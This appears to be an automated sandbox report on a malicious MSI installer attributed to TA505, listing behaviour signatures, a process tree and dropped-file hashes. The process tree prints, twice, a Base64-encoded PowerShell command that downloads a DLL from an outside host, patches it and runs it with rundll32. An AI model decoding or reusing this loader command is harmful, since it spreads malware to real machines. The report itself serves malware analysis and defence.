Analysis

  • max time kernel
    500s
  • max time network
    503s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/05/2023, 16:51

General

  • Target
    66dcb3.msi
  • Size 11.0MB
  • Sample230503-vc161afd84
  • SHA256 e4edb4cc8f35c7bab6e89774a279593d492714fce9865e53879f87d3704ad96c
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • TA505

    Cybercrime group active since 2015, responsible for families like Dridex and Locky.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 13 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 53 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\66dcb3.msi
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2856
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1928
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 51DBFAF4FB44EA936DB2C75836062010
      2⤵
      • Loads dropped DLL
      PID:1892
    • C:\Windows\Installer\MSI86EE.tmp
      "C:\Windows\Installer\MSI86EE.tmp" /DontWait /HideWindow powershell.exe -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==
      2⤵
      • Executes dropped EXE
      PID:232
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==
    1⤵
    • Blocklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2012
    • C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\ProgramData\5882863f.dat",DllRegisterServer
      2⤵
        PID:4576

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e567d74.rbs

          • Path C:\Config.Msi\e567d74.rbs
          • Size 1KB
          • SHA256 6bbf732cb1d8dff2b9aa80f1395f128dd3e011c956e2c518335fccfe3f0b4b59
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_rw5wgxpg.gis.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rw5wgxpg.gis.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          MSI7E2D.tmp

          • Path C:\Windows\Installer\MSI7E2D.tmp
          • Size 550KB
          • SHA256 ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
          • MD5 SHA1 SHA512 SSDEEP

          MSI7E2D.tmp

          • Path C:\Windows\Installer\MSI7E2D.tmp
          • Size 550KB
          • SHA256 ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
          • MD5 SHA1 SHA512 SSDEEP

          MSI814B.tmp

          • Path C:\Windows\Installer\MSI814B.tmp
          • Size 550KB
          • SHA256 ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
          • MD5 SHA1 SHA512 SSDEEP

          MSI814B.tmp

          • Path C:\Windows\Installer\MSI814B.tmp
          • Size 550KB
          • SHA256 ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
          • MD5 SHA1 SHA512 SSDEEP

          MSI8237.tmp

          • Path C:\Windows\Installer\MSI8237.tmp
          • Size 550KB
          • SHA256 ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
          • MD5 SHA1 SHA512 SSDEEP

          MSI8237.tmp

          • Path C:\Windows\Installer\MSI8237.tmp
          • Size 550KB
          • SHA256 ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
          • MD5 SHA1 SHA512 SSDEEP

          MSI8237.tmp

          • Path C:\Windows\Installer\MSI8237.tmp
          • Size 550KB
          • SHA256 ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
          • MD5 SHA1 SHA512 SSDEEP

          MSI82A5.tmp

          • Path C:\Windows\Installer\MSI82A5.tmp
          • Size 927KB
          • SHA256 ebf432e9b8068e139e85e2c26a1d67238b3c6071158cd43f4926029ba187c190
          • MD5 SHA1 SHA512 SSDEEP

          MSI82A5.tmp

          • Path C:\Windows\Installer\MSI82A5.tmp
          • Size 927KB
          • SHA256 ebf432e9b8068e139e85e2c26a1d67238b3c6071158cd43f4926029ba187c190
          • MD5 SHA1 SHA512 SSDEEP

          MSI82D5.tmp

          • Path C:\Windows\Installer\MSI82D5.tmp
          • Size 550KB
          • SHA256 ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
          • MD5 SHA1 SHA512 SSDEEP

          MSI82D5.tmp

          • Path C:\Windows\Installer\MSI82D5.tmp
          • Size 550KB
          • SHA256 ffea8222126b77f8da93e27edbadeb8b97fb023ef0d6a51522c35688f66283ca
          • MD5 SHA1 SHA512 SSDEEP

          MSI86EE.tmp

          • Path C:\Windows\Installer\MSI86EE.tmp
          • Size 549KB
          • SHA256 9dbaf4e4632e70652ff72bb7890c35e3b9cd7a6939b29b5eeec0c636d098c64e
          • MD5 SHA1 SHA512 SSDEEP

          memory/2012-183-0x000002C63D300000-0x000002C63D322000-memory.dmp

          memory/2012-184-0x000002C63D370000-0x000002C63D380000-memory.dmp

          memory/2012-185-0x000002C63D370000-0x000002C63D380000-memory.dmp

          memory/2012-186-0x000002C63D370000-0x000002C63D380000-memory.dmp